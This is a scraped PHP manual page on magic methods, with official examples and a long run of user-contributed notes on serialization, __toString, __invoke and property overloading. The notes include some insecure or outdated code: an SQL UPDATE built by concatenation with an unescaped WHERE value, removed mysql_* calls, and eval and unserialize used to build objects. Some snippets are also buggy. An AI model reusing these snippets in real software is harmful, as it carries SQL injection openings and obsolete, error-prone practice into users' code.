Here's an effective strategy for creating singletons.

1.) define an __autoload() function

2.) Define all properties of a class to be static

3.) Make the constructor private.

Now, anywhere in your code, you can simply do as follows:

Class::Function();

The __autoload() function will take care of loading the class.

It's even better when you use the auto_prepend directive to define __autoload(). Now you can create a php script which looks like this:

<?php
TemplateSystem::Start();
echo 'This is just a test!';
TemplateSystem::Stop();
?>

Now you've effectively got a 2-line solution to all templating issues, the templates will be available to every script, and the only additional overhead that you'll have for scripts that don't use the templating system is a 3-line autoload function!

Obviously, there's still a problem with __autoload() if you are attempting to write a templating system that has to work with someone else's software that also defines __autoload(). The best advice I can give here is to remove one of the __autoload()'s and modify the other to work with both.
anon at anon dot org 23-May-2005 01:02
After programming a number of real world applications with PHP, I found that this version of the singleton doesn't really resemble other singleton patterns, but is the only one I've ended up using and it works great.

<?php

class User {
   /* .. your code, nothing specific matters in the class .. */
}

function user(){
    static $user;
    if(!isset($user))
        $user = new User();
    return $user;
}

//creates the user object then calls a method on it
user()->doSomething();

//calls a method on the same object
user()->doSomethingElse();

?>

Note that it is *possible* to create multiple instances of User, but in your API docs, or when you tell people how to use the class just say you are supposed to refer to it only via the user() function, and then there should be no reason to enforce it in your code any other way.

Also note that this syntax is only possible in PHP 5 because of the object / function dereferencing feature.  user()->someMethod(); will throw a fatal error in 4.x
dmnEe0 at gmail dot com 14-May-2005 02:13
I struggled a few hours on writing a simple Generic factory method for dynamic object factoring. I initially went for call_user_func_array() to create the object but that obviously didn't work. An anonymous function was what I needed. Here's the result (PHP5):

<?php
/**
 *    Name:    Factory
 *    Author:    Ezku
 *    Contact:    dmnEe0 at gmail dot com
 */
class Factory
{
    /**
     * Generic factory method
     * @param string    Path to class definition
     * @param string    Basic class name
     * @param string    Derived class name
     * @param array    Class constructor arguments, optional
     */
    public static function Generic($filename, $base, $derived, $args = array())
    {
        /**
         * Check that the file exists
         */
        if(file_exists($filename))
        {
            include_once $filename;
            /**
             * Check that the file contained the appropriate class definition
             */
            if(class_exists($derived))
            {
                /**
                 * Create argument list for constructor
                 */
                $arglist = array();
                for($i = 0, $n = count($args); $i < $n; $i++)
                    $arglist[] = '$args['.$i.']';
                $arglist = implode(',',$arglist);

                /**
                 * Create new instance via an anonymous function
                 */
                $new_class = create_function('$name, $args', 'return new $name('.$arglist.');');
                return $new_class($derived, $args);
            }
            else
                throw new Exception("Definition file ($filename) did not contain definition for the $base class <code>$derived</code>");
        }
        else
            throw new Exception("Definition file ($filename) for the $base class <code>$derived</code> was not found");
    }
}

/**
 * Useless usage example:
 */
function createCat($name, $scary_eyes = FALSE, $whiskers = TRUE)
{
    $path = PATH_ANIMALS.'/'.$name.'.php';
    $base = 'Cat';
    $derived = $name.$base;
    $args = array($scary_eyes, $whiskers);
    return Factory::Generic($path, $base, $derived, $args);
}

// Create a MeowCat with scary eyes and whiskers
$cat = createCat('Meow', TRUE);
// Do whatever
?>
Object Iteration
Magic Methods
Classes and Objects


Magic Methods

The function names
__construct(),
__destruct(),
__call(),
__callStatic(),
__get(),
__set(),
__isset(),
__unset(),
__sleep(),
__wakeup(),
__toString(),
__invoke(),
__set_state() and
__clone()
are magical in PHP classes. You
cannot have functions with these names in any of your
classes unless you want the magic functionality associated
with them.

Caution

PHP reserves all function names starting with __ as magical. It is recommended that you do not use function names with __ in PHP unless you want some documented magic functionality.

__sleep() and __wakeup()

public array __sleep ( void )
void __wakeup ( void )

serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then NULL is serialized and E_NOTICE is issued.

Note:

It is not possible for __sleep() to return names of private properties in parent classes. Doing this will result in an E_NOTICE level error. Instead you may use the Serializable interface.

The intended use of __sleep() is to commit pending data or perform similar cleanup tasks. Also, the function is useful if you have very large objects which do not need to be saved completely.

Conversely, unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have.

The intended use of __wakeup() is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.

Example #1 Sleep and wakeup

<?php
class Connection
{
    protected $link;
    private $server, $username, $password, $db;

    public function __construct($server, $username, $password, $db)
    {
        $this->server = $server;
        $this->username = $username;
        $this->password = $password;
        $this->db = $db;
        $this->connect();
    }

    private function connect()
    {
        $this->link = mysql_connect($this->server, $this->username, $this->password);
        mysql_select_db($this->db, $this->link);
    }

    public function __sleep()
    {
        return array('server', 'username', 'password', 'db');
    }

    public function __wakeup()
    {
        $this->connect();
    }
}
?>

__toString()

public string __toString ( void )

The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what echo $obj; will print. This method must return a string, as otherwise a fatal E_RECOVERABLE_ERROR level error is emitted.

Example #2 Simple example

<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo)
    {
        $this->foo = $foo;
    }

    public function __toString()
    {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>

The above example will output:

Hello

It is worth noting that before PHP 5.2.0 the __toString() method was only called when it was directly combined with echo() or print(). Since PHP 5.2.0, it is called in any string context (e.g. in printf() with %s modifier) but not in other types contexts (e.g. with %d modifier). Since PHP 5.2.0, converting objects without __toString() method to string would cause E_RECOVERABLE_ERROR.

__invoke()

mixed __invoke ([ $... ] )

The __invoke() method is called when a script tries to call an object as a function.

Note:

This feature is available since PHP 5.3.0.

Example #3 Using __invoke()

<?php
class CallableClass
{
    public function __invoke($x)
    {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

The above example will output:

int(5)
bool(true)

__set_state()

static object __set_state ( array $properties )

This static method is called for classes exported by var_export() since PHP 5.1.0.

The only parameter of this method is an array containing exported properties in the form array('property' => value, ...).

Example #4 Using __set_state() (since PHP 5.1.0)

<?php

class A
{
    public $var1;
    public $var2;

    public static function __set_state($an_array) // As of PHP 5.1.0
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        $obj->var2 = $an_array['var2'];
        return $obj;
    }
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

eval('$b = ' . var_export($a, true) . ';'); // $b = A::__set_state(array(
                                            //    'var1' => 5,
                                            //    'var2' => 'foo',
                                            // ));
var_dump($b);

?>

The above example will output:

object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

User Contributed Notes

mightye at gmail dot com 24-Jan-2012 02:58
osbertv at yahoo dot com: the problem is not that B contains an instance of A, the problem is that "$b->a()" looks for a method named "a" on $b, and when one is not found, it calls B's __invoke().  This is an order of operations thing, the compiler couldn't hope to know whether you meant to call B::a() or B::$a().  The previous one can be compile-time optimized while the latter one cannot (since there is no guarantee that B::$a is always callable).  When there is a collision of intent like this, the compiler tends to give priority to the optimizable use case over the unoptimizable use case.

You can either choose to proxy a call to $this->a; inside of B::__invoke() (probably with something like: return call_user_func_array($this->a, func_get_args()); ), or you can make an actual method B::a() for the same purpose (which would be faster).

However, either way, it's probably not a great idea to be trying to use properties as though they were methods.  The code this would produce can be very confusing to read.  Creating B::a() solves this readability problem.
osbertv at yahoo dot com 29-Dec-2011 09:42
Invoking a class inside a class results in an error.

<?php
class A
{
    public function __invoke()
    {
        echo "Invoking A() Class";
    }
}

class B
{
    public $a;

    public function __construct()
    {
        $this->a = new A();
    }

    public function __invoke()
    {
        echo "Invoking B() Class";
    }
}

$a = new A();
$b = new B();
$a();
$b();
$b->a();

?>

returns
Invoking B() Class
PHP Fatal error:  Call to undefined method B::a()
hyponiq at gmail dot com 26-Sep-2011 06:07
I think it's fair to note the undocumented fact that the __invoke magic method can take any number of arguments (or none).

Example:
<?php
class InvokeNoParams {
    function __invoke()
    {
        print __METHOD__ . PHP_EOL;
        $i = 1;
        foreach (func_get_args() as $arg) {
            print "The value of \$param{$i} is: " . $arg . PHP_EOL;
            ++$i;
        }
        print PHP_EOL;
    }
}

class InvokeSingleParam {
    function __invoke($param1)
    {
        print __METHOD__ . PHP_EOL;
        print "Value of \$param1 is: " . $param1 . PHP_EOL . PHP_EOL;
    }
}

class InvokeMultiParams {
    function __invoke($param1, $param2, $param3) {
        print __METHOD__ . PHP_EOL;
        print "Value of \$param1 is: " . $param1 . PHP_EOL;
        print "Value of \$param2 is: " . $param2 . PHP_EOL;
        print "Value of \$param3 is: " . $param3 . PHP_EOL . PHP_EOL;
    }
}

$no = new InvokeNoParams;
$single = new InvokeSingleParam;
$multi = new InvokeMultiParams;

$no(1, 2, 3);
$single('one param');
$multi('param 1', 'param 2', 'param 3');
?>

This outputs:
InvokeNoParams::__invoke
The value of $param1 is: 1
The value of $param2 is: 2
The value of $param3 is: 3

InvokeSingleParam::__invoke
Value of $param1 is: one param

InvokeMultiParams::__invoke
Value of $param1 is: param 1
Value of $param2 is: param 2
Value of $param3 is: param 3
Wesley 25-May-2011 12:10
Warning __toString can be triggerd more then one time

<?php
if(strstr(substr($obj,0,1024), 'somestuff')
    echo $obj;
return 'missing somestuff at the start, create container!';

substr() will trigger a __toString aswell as echo $obj;
?>

wich cause a performance issue since it will gather all data twice.

what i used as a hotfix:

<?php
__toString(){
  if(null === $this->sToString)
     $this->sToString = $this->_show();
  return $this->sToString;
}
?>
Sammaye 18-Aug-2010 08:13
Thought I would just explain something about __get and __set here.

Imgine you have a class like so:

<?php
class user_bo{

    protected $attributes = Array();

      public function __get($key){

          return array_key_exists($key, $this->attributes) ? $this->attributes[$key] : null;
      }

      public function __set($key, $value){

          $this->attributes[$key] = $value;
      }

      /** Constructor **/
      public function __construct(){}
}
?>

now imagine you add a function like so to this class:

<?php
    public function update(){

        global $database;

        $fields = $database->connection->getTable("users");

        $set = "";
        foreach($fields as $field => $info){

            if(isset($this->$field)){
                if($this->$field == "now()"){
                    $set .= $field."=".mysql_real_escape_string($this->$field).", ";
                }elseif($this->$field == null){
                    $set .= $field."=null, ";
                }else{
                    $set .= $field."='".mysql_real_escape_string($this->$field)."', ";
                }
            }
        }
        $output_set = substr($set, 0, -2);

        $query = "UPDATE users SET $output_set WHERE sequal_user_id = '$this->sequal_user_id'";
        mysql_query($query) or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

        return true;
    }
?>

The if(isset($this->$field)) will return false everytime. Instead of isset in loops like this you should use ($this->$field). isset returns false even when the field is populated and in theory it should never return false since in my __get:

<?php
return array_key_exists($key, $this->attributes) ? $this->attributes[$key] : null;
?>

I return null if my variable don't exist.
Anonymous 24-Jul-2010 07:41
Concerning __set() with protected/private/overloaded properties, the behavior might not be so intuitive without knowing some underlying rules.  Consider this test object for the following examples...

<?php
class A {
    protected $test_int = 2;
    protected $test_array = array('key' => 'test');
    protected $test_obj;

    function __construct() {
        $this->test_obj = new stdClass();
        }

    function __get($prop) {
        return $this->$prop;
        }

    function __set($prop, $val) {
        $this->$prop = $val;
        }
    }

$a = new A();

?>

Combined Operators (.=, +=, *=, etc): you must also define a companion __get() method to grant write -and- read access to the property.  Remember, "$x += $y" is shorthand for "$x = $x + $y".  In other words, "__set($x, (__get($x) + $y))".

Properties that are Arrays: attempting to set array values like "$a->test_array[] = 'asdf';" from outside this object will result in an "Indirect modification of overloaded property" notice and the operation completely ignored.  You can't use '[]' for array value assignment in this context (with the exception only if you made __get() return by reference, in which case, it would work fine and bypass the __set() method altogether).  You can work around this doing something like unioning the array instead:

<?php

$a->test_array[] = 'asdf'; // notice given and ignored unless __get() was declared to return by reference
$a->test_array += array(1 => 'asdf'); // to add a key/value
$a->test_array = array("key" => 'asdf') + $a->test_array; // to overwrite a  key/value.

?>

Properties that are Objects: as long as you have that __get() method, you can freely access and alter that sub object's own properties, bypassing __set() entirely.  Remember, objects are assigned and passed by reference naturally.

<?php

$a->test_obj->prop = 1; // fine if $a did not have a set method declared.

?>

All above tested in 5.3.2.
tom 18-Jul-2010 03:20
Note a common pitfall when using __wakeup.

If you unserialize a datastructure, you may not rely on the parent object to have been fully unserialized by the time __wakeup is called. Example

<?php
class A {
 public $b;
 public $name;
}

class B extends A {
 public $parent;
 public function __wakeup() {
  var_dump($parent->name);
 }
}

$a = new A();
$a->name = "foo";
$a->b = new B();
$a->b->parent = $a;
$s = serialize($a);
$a = unserialize($s);
?>

Expected output: "foo".
Actual output: NULL.

Reason: $b is unserialized before $name. By the time B::__wakeup is called, $a->name does not yet have a value.

So be aware that the order in which your class variables are defined is important! You need to manually order them by dependencies - or write a __sleep function and order them by depencies there. (Currently I can't tell which option I hate more)
Anonymous 30-Jun-2010 09:29
C++-style operator overloading finally makes an appearance with the introduction to __invoke().  Unfortunately, with just '()'.  In that sense, it is no more useful than having a default class method (probably quite useful actually) and not having to type out an entire method name.  Complimenting wbcarts at juno dot com's point class below, the following allows calculating distance between one or more graph points...

<?php

class point {
    public $x;
    public $y;

    function __construct($x=0, $y=0) {
        $this->x = (int) $x;
        $this->y = (int) $y;
        }

    function __invoke() {
        $args = func_get_args();
        $total_distance = 0;
        $current_loc = $this;
        foreach ($args as $arg) {
            if (is_object($arg) and (get_class($arg) === get_class($this))) {
                $total_distance += sqrt(pow($arg->x - $current_loc->x, 2) + pow((int) $arg->y - $current_loc->y, 2));
                $current_loc = $arg;
                }
            else {
                trigger_error("Arguments must be objects of this class.");
                return;
                }
            }
        return $total_distance;
        }

    }

$p1 = new point(1,1);
$p2 = new point(23,-6);
$p3 = new point(15,20);
echo $p1($p2,$p3,$p1); // round trip 73.89

?>

Functionally, __invoke() can also be used to mimic the use of variable functions.  Sadly, attempting any calling of __invoke() on a static level will produce a fatal error.
tfn dot yldrm at hotmail dot com 15-Jun-2010 03:26
Properties can be used for getter and setter as C# methods get_PropertyName and set_PropertyName  for full event-based programming.

<?php

    /**
    * @author Tufan Baris YILDIRIM
    * @name getter and setter magics.
    */
    Class GetSet
    {
        public $Name,$Surname;     // they will be deleted those only for autocompletion.
        private $_Name,$_Surname;

        public function __construct()
        {
            foreach(get_class_vars('GetSet') as $varName=>$varValue)
            {
                if(substr($varName,0,1)!="_")
                    unset($this->$varName);
            }
        }

        public function __get($varName)
        {
            if(method_exists($this,$MethodName='get_'.$varName))
                return $this->$MethodName();
            else
                trigger_error($varName.' is not avaliable .',E_USER_ERROR);
        }

        public function __set($varName,$value)
        {
            if(method_exists($this,$MethodName='set_'.$varName))
                return $this->$MethodName($value);
            else
                trigger_error($varName.' is not avaliable .',E_USER_ERROR);
        }

        private function set_Surname($value)
        {
            // On surname changed Events.
            echo "Surname Changed as ".$value."\r\n";
            $this->_Surname=$value;
        }

        private function get_Surname()
        {
            // On Get Events.
            echo "Surname Getted\r\n";
            return $this->_Surname;
        }

        private function set_Name($value)
        {
            // On Name changed Events.
            echo "Name Changed as ".$value."\r\n";
            $this->_Name=$value;
        }

        private function get_Name()
        {
            // On Get Name Events.
            echo "Name getted\r\n";
            return $this->_Name;
        }
    }

?>
Using :
<?php
   $get=new GetSet();
    $get->Name="Tufan Baris";
    $get->Surname="YILDIRIM";

    echo $get->Name.' '.$get->Surname;

?>
Output

Name Changed as Tufan Baris
Surname Changed asYILDIRIM
Name getted
Surname Getted
Tufan Baris YILDIRIM
xmontero at dsitelecom dot com 05-Dec-2009 08:01
This "tip" is for those who receive the error "Object of class X could not be converted to string" when __toString() is not possible, and it is not a choice to process or not - for example when received via debug_backtrace().

HOW IT HAPPENED:

I use to have a logging function called LogEnter() and another called LogExit() that I use to call at every function when intensively debugging.

For example all my functions look like:

<?php
function AnyFunction( $a, $b, $c )
{
    LogEnter();

    // DoSomeStuffHere.

    LogExit();
}
?>

Then inside LogEnter(), I use debug_backtrace() to discover the parameters that were used when calling the function (in this example the values of $a, $b, $c).

The LogEnter() deals without knowing the number of parameters to treat, and formats something like ( 2, 3, 4 ) if those were the values. That info is printed among other info to a log-file.

Doing this, keeps me with a single-very-simple way to trace all te calls.

The thing is that if the the following are met at the same time, I have a problem:

- The function accepts (and is called with) a class as a parameter.
- The function is being debuggd by calling LogEnter();
- The class does not have __toString() coded.
- For some reason I am not allowed to edit the class nor inherit from it.

Then the debug function performs an "Object of class X could not be converted to string" error when trying to "dump" the parameter list (containing the object) into the file.

LOG FUNCTION:

This looks for the "parameters array" and then calls BuildArgs to format them. LogWrite finds the function name, file, line number, and so on, but does not matter here.

<?php
public function LogEnter()
{
    $Debug = debug_backtrace();
    $DebugLine = $Debug[ 1 ];
        // [0] would be this very same function.
        // [1] is the caller of this function.

    $Args = isset( $DebugLine[ 'args' ] ) ? $DebugLine[ 'args' ] : '[x]';

    $Msg = 'Entering with ' . BuildArgs( $Args );
    LogWrite( $Msg );
}

// CAUTION, THIS NEXT ONE FAILS
private function BuildArgs( $Args )
{
    $Result = '( ' . implode( ', ', $Args ) . ' )';
    return $Result;
}
?>

The problem is that if you call a function where a parameter being an object that has not the __toString() defined, then automatically "imploding" the argument list into a string, fails.

SOLUTION:

The solution is that the __toString is "checkable for its existance". The "tips" are to manually traverse the result of debug_backtrace()['args'] and then, for each element, check:

- if it is or not an object with is_object( $Value )
- in case it is, check if __toString() is defined with method_exists( $Value, '__toString' )
- in case it is not an object or the method exist, perform a normal assignation.
- in case it is an object without that method, print something else. I choose to output the class name with get_class( $Value ) and put it between square brackets.

The final function becomes like this:

<?php
private function BuildArgs( $Args )
{
    // This function gets an 'args' array from debug_backtrace() and formats it in the printable format (a, b, c) including the parenthesis.

    $FormattedParams = '';
    $Glue = '';

    foreach( $Args as $Value )
    {
        if( is_object( $Value ) )
        {
            if( method_exists( $Value, "__toString" ) )
            {
                $PrintableValue = $Value;
            }
            else
            {
                $PrintableValue = '[' . get_class( $Value ) . ']';
            }
        }
        else
        {
            $PrintableValue = $Value;
        }

        $FormattedParams .= $Glue . $PrintableValue;
            $Glue = ', ';
    }

    $Result = sprintf( '( %s )', $FormattedParams );

    return $Result;
}
?>
vad dot viktor at gmail dot com 15-Oct-2009 03:06
If you are using __autoload to dynamically load your classes, then __invoke won't work. Calling a class like SomeClass() will give and error in this case as it is evaluated first as a function, not as a class and so __autoload won't be triggered.
moechofe 25-Jul-2009 02:47
__invoke() cannot be used to create fluente interface like in the "D language"

<?php
class CallableClass
{
    var $next;
    function __invoke($x)
    {
        var_dump($x);
        return $this;
   }
}
$obj = new CallableClass;
$obj->next = new CallableClass;
var_dump( $obj(5) ); // OK!
var_dump( $obj(5)(6) ); // Parse error
var_dump( $obj->next(7) ); // Fatal error: Call to undefined method CallableClass::next()
var_dump( {$obj->next}(7) ); // Parse error
?>
zach at bygeekz dot com 25-May-2009 12:45
Try this one on.

<?php
$ret = new Test(true);
var_dump((bool)(string)$ret);
var_dump($ret);
$ret=null;
$ret = new Test();
var_dump((bool)(string)$ret);
var_dump($ret);

class Test {
    protected $state=null;
    function __construct($state=null) {
        $this->state = $state;
    }
    function __toString() {
        if ($this->state) { return "1"; } else { return "0"; }
    }
}
?>

You could for instance do..

if(!(bool)(string)$ret) { do_something!; }

Alternatively, just make state public, and check it.

if(!$ret->state) {}.

There is no automatic way I have found aside from some internal state check to verify a class. It will always return an object. The only way around that is to force it out to string either where I did, or $ret = (string) new Test(); then test the bool of your output..

if (!$ret) { echo "noooo!"; }

But now you have no calling methods, so I hope you passed some data in to get a usable string out.

Of course, if your class isn't named test, you can add a method..

public function test() {
     return $this->state;
}

Logically that will work regardless of the _toString(), but I had hoped to post this to help others see that there are a multitude of ways to check the validity of a class once it is loaded. In __construct you can add any number of checks and set your state appropriately.
jahanaddison6 at hotmail dot com 03-May-2009 03:16
If you're expecting this code to work think again:

<?php
class Example
{
public function __construct()
 {
return false;
 }

public function Test()
{
return true;
}
}
?>

The above code will not work as expected, The Test method will still return true.
rudie-de-hotblocks at osu1 dot php dot net 09-Apr-2009 06:35
Note also that the constructor is executed also, and before __set_state(), making this magic function less magic, imho, (except for the ability to assign private members).
muratyaman at gmail dot com 07-Jan-2009 07:54
Regarding __toString:

<?php
class my_tag_A{

    public $id='';
    public $href='';
    public $target='';
    public $class='';

    public $label='';

    function __construct($href, $label){
        $this->href = $href;
        $this->label = $label;
    }

    public function __toString(){
        return '<a '.$this->nz_arr(array('id', 'href', 'target', 'class')). ' >' . $this->label . '</a>';
    }

    function nz_arr($attrib_arr){
        $s = '';
        foreach($attrib_arr as $attrib){
            $s .= $this->nz($attrib);
        }
        return $s;
    }

    /**
     * Print the tag attribute if it is not blank, such as id="$this->id"
     * @param string $attrib
     * @return string
     */
    function nz($attrib){
        $s = '';
        if($this->$attrib != '') $s = $attrib .' = "' . $this->$attrib . '"';
        return $s;
    }

    //This causes RECURSION because of parsing between double quotes. This is a very UNEXPECTED behaviour!
    function nz_($attrib){
        $s = '';
        if($this->$attrib != '') $s = "$attrib = \"$this->$attrib\"";
        return $s;
    }

}//end  class

//usage
$a = new my_tag_A('abc.php', 'ABC'); $a->target = '_blank';
echo $a;
//prints:
//    <a href="abc.php" target="_blank" >ABC</a>
?>
jsnell at e-normous dot com 03-Dec-2008 02:01
Be very careful to define __set_state() in classes which inherit from a parent using it, as the static __set_state() call will be called for any children.  If you are not careful, you will end up with an object of the wrong type.  Here is an example:

<?php
class A
{
    public $var1;

    public static function __set_state($an_array)
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        return $obj;
    }
}

class B extends A {
}

$b = new B;
$b->var1 = 5;

eval('$new_b = ' . var_export($b, true) . ';');
var_dump($new_b);
/*
object(A)#2 (1) {
  ["var1"]=>
  int(5)
}
*/
?>
patricknegri at gmail dot com 26-Oct-2008 03:57
Imports Pattern - Extend Classes in Real Time:

<?php
class BaseClass
{
    var $__imported;
    var $__imported_functions;

    function __construct()
    {
        $__imported = Array();
        $__imported_functions = Array();
    }

    function Imports($object)
    {
        $new_imports = new $object();
        $imports_name = get_class($new_imports);
        array_push( $__imported, Array($imports_name,$new_imports) );
        $imports_function = get_class_methods($new_imports);
        foreach ($imports_function as $i=>$function_name)
        {
            $this->__imported_functions[$function_name] = &$new_imports;
        }
    }

    function __call($m, $a)
    {
        if (array_key_exists($m,$this->__imported_functions))
        {
            return call_user_func_array(Array($this->__imported_functions[$m],$m),$a);
        }
        throw new ErrorException ('Call to Undefined Method/Class Function', 0, E_ERROR);
    }
}

class ExternalFunc
{
    function TestB()
    {
        echo "External Imported!";
    }
}

class B extends BaseClass
{
    function __construct()
    {
        $this->Imports("ExternalFunc");
    }

    function Msg()
    {
        echo "Hello world<br />";
    }
}

$b = new B();
$b->Msg();
// or call $b->Imports("ExternalFunc");
$b->TestB();
//$b->TestB(1,3,4);
?>
jon at webignition dot net 03-Oct-2008 07:26
The __toString() method is extremely useful for converting class attribute names and values into common string representations of data (of which there are many choices). I mention this as previous references to __toString() refer only to debugging uses.

I have previously used the __toString() method in the following ways:

 - representing a data-holding object as:
   - XML
   - raw POST data
   - a GET query string
   - header name:value pairs

 - representing a custom mail object as an actual email (headers then body, all correctly represented)

When creating a class, consider what possible standard string representations are available and, of those, which would be the most relevant with respect to the purpose of the class.

Being able to represent data-holding objects in standardised string forms makes it much easier for your internal representations of data to be shared in an interoperable way with other applications.
wbcarts at juno dot com 02-Oct-2008 04:12
To be helpful, the __toString() method should return the class name and the state of all its properties inside square brackets.

<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }

  public function __toString() {      // the function we're interested in...
    return "Point[x=$this->x, y=$this->y]";
  }
}

$point1 = new Point(10, 10);
$point2 = new Point(50, 50);
echo $point1 . '<br>';
echo $point2 . '<br><br>';
?>

Point[x=10, y=10]
Point[x=50, y=50]

Classes that include objects, should call that objects __toString() method.

<?php
class Line {
  protected $start, $end;

  public function __construct(Point $p1, Point $p2){
    $this->start = $p1;
    $this->end = $p2;
  }

  public function __toString() {      // the function we're interested in...
    return 'Line[start=' . $this->start->__toString() .  // call __toString()
     ', end=' . $this->end->__toString() . ']';          // call __toString()
  }
}

echo (new Line($point1, $point2));
?>

Line[start=Point[x=10, y=10], end=Point[x=50, y=50]]
rc @ nospam @ vorklift dot sea oh em 07-Aug-2008 07:03
A note: __wakeup occurs before saving the unserialization of an session object.

Therefore, $_SESSION['var']::__wakeup() setting $_SESSION['var'] = new Class() will fail and $_SESSION['var'] will remain unchanged.

This means that if you have a pseudo-temporary object that contains a class to auto revert to, you have to revert that session object in the initialization of the website rather than via a __wakeup() script.
Anonymous 31-May-2008 04:24
Serializing objects is problematic with references. This is solved redefining the __sleep() magic method. This is also problematic when parent class has private variables since the parent object is not accessible nor its private variables from within the child object.

I found a solution that seems working for classes that implements this __sleep() method, and for its subclasses. Without more work in subclasses. The inheritance system does the trick.

Recursively __sleep() call parent' __sleep() and return the whole array of variables of the object instance to be serialized.

<?php
class foo {
}

class a {
  private $var1;

  function __construct(foo &$obj = NULL) {
    $this->var1 = &$obj;
  }

  /** Return its variables array, if its parent exists and the __sleep method is accessible, call it and push the result into the array and return the whole thing. */
  public function __sleep() {
    $a = array_keys(get_object_vars(&$this));
    if (method_exists(parent, '__sleep')) {
      $p = parent::__sleep();
      array_push($a, $p);
    };
    return $a;
  }
}

class b extends a {
  function __construct(foo &$obj = NULL) {
    parent::__construct($obj);
  }
}

session_start();
$myfoo = &new foo();
$myb = &new b($myfoo);
$myb = unserialize(serialize(&$myb));
?>

This should work, I haven't tested deeper.
yanleech at gmail dot com 10-May-2008 06:24
Maybe we can using unserialize() & __wakeup() instead "new" when creating a new instance of class.

Consider following codes:

class foo
{
    static public $WAKEUP_STR = 'O:3:"foo":0:{}';
    public function foo(){}
    public function bar(){}
}

$foo = unserialize(foo::$WAKEUP_STR);
michal dot kocarek at seznam dot cz 18-Apr-2008 02:34
Remember that setters and getters (__set, __get) will work in your class as long as you NOT SET the property with given name.

If you still want to have the public property definition in the class source code (phpDocumentor, editor code completition, or any other reason) when using these magic methods, simply unset() your public properties inside the constructor.
__set/__get function will be called and code reader will see at first sight, which public properties are available.

Example:
<?php
class user {
   /**
    * @var int Gets and sets the user ID
    */
   public $UserID;
   private $_userID;

   public function __construct() {

      // All the magic is in single line:
      // We unset public property, so our setters and getters
      // are used and phpDoc and editors with code completition are happy
      unset($this->UserID);

   }

   public function __set($key, $value) {
      // assign value for key UserID to _userID property
   }

   public function __get($key) {
      // return value of _userID for UserID property
   }
}
?>
dhuseby domain getback tld com 29-Feb-2008 06:22
The above hint for using array_keys((array)$obj) got me investigating how to get __sleep to really work with object hierarchies.

With PHP 5.2.3, If you want to serialize an object that is part of an object hierarchy and you want to selectively serialize members (public, private, and protected) by manually specifying the array of members, there are a few simple rules for naming members that you must follow:

1. public members should be named using just their member name, like so:

<?php
class Foo {
    public $bar;

    public function __sleep() {
        return array("bar");
    }
}
?>

2. protected members should be named using "\0" . "*" . "\0" . member name, like so:

<?php
class Foo {
    protected $bar;

    public function __sleep() {
        return array("\0*\0bar");
    }
}
?>

3. private members should be named using "\0" . class name . "\0" . member name, like so:

<?php
class Foo {
    private $bar;

    public function __sleep() {
        return array("\0Foo\0bar");
    }
}
?>

So with this information let us serialize a class hierarchy correctly:

<?php

class Base {
    private $foo = "foo_value";
    protected $bar = "bar_value";

    public function __sleep() {
        return array("\0Base\0foo", "\0*\0bar");
    }
}

class Derived extends Base {
    public $baz = "baz_value";
    private $boo = "boo_value";

    public function __sleep() {
        // we have to merge our members with our parent's
        return array_merge(array("baz", "\0Derived\0boo"), parent::__sleep());
    }
}

class Leaf extends Derived {
    private $qux = "qux_value";
    protected $zaz = "zaz_value";
    public $blah = "blah_value";

    public function __sleep() {
        // again, merge our members with our parent's
        return array_merge(array("\0Leaf\0qux", "\0*\0zaz", "blah"), parent::__sleep());
    }
}

// test it
$test = new Leaf();
$s = serialize($test);
$test2 = unserialize($s);
echo $s;
print_r($test);
print_r($test2);

?>

Now if you comment out all of the __sleep() functions and output the serialized string, you will see that the output doesn't change.  The most important part of course is that with the proper __sleep() functions, we can unserialize the string and get a properly set up object.

I hope this solves the mystery for everybody.  __sleep() does work, if you use it correctly :-)
andrew dot minerd at sellingsource dot com 08-Nov-2007 07:55
Until __sleep is "fixed" (here's hoping), a function that will return ALL members of a given object -- public, protected, AND private:

<?php
        public function getPropertyNames(array $filter = NULL)
        {
            $rc = new ReflectionObject($this);
            $names = array();

            while ($rc instanceof ReflectionClass)
            {
                foreach ($rc->getProperties() as $prop)
                {
                    if (!$filter || !in_array($prop->getName(), $filter))
                        $names[] = $prop->getName();
                }

                $rc = $rc->getParentClass();
            }

            return $names;
        }
?>
amir_abiri at ipcmedia dot com 24-Jul-2007 04:58
Another small thing that is important to note about __sleep() and privte member variables:

<?php
class A
{
  private $a;

  public function __construct()
  {
    $this->a = 1;
  }
}

class B extends A
{
  protected $b;

  public function __construct()
  {
    parent::__construct();
    $this->b = 2;
  }

  function __sleep()
  {
    return array('a', 'b');
  }
}

serialize(new B);
?>

result:
Notice: serialize(): "a" returned as member variable from __sleep() but does not exist in ...

To summerize: in a given class hierarchy in which parent classes contain private member variables, those variables are serialized when __sleep() is not defined. However, once __sleep() is defined, there is no way to make those private member variables serialized as well. From that point on, serialization is performed from the visibility scope of the subclass.

It is particularly important to note this little quirk when designing base classes that their derivables may be serialized, or when subclassing an external library class.
alejandro dot gama at gmail dot com 09-May-2007 07:47
Referering my previus note: there was an error in the code. But i find a better way:

<?
session_start();

class Classes{
  private $name;
  private $statics;

  function __construct($name){
    $this->name=$name;
    $this->statics=array();
  }

  function setStatic($k,$v){
    if(!is_resource($v))
      $this->statics[$k]=$v;
  }

  function __wakeup(){
    foreach($this->statics as $k=>$v)
      eval($this->name."::\$".$k."=\$this->statics['".$k."'];");
  }
}

function storeStaticAttributes(){
  $classes=get_declared_classes();
  foreach($classes as $name){
    $reflect=new ReflectionClass($name);

    if($reflect->isUserDefined()){
      $statics=$reflect->getStaticProperties();

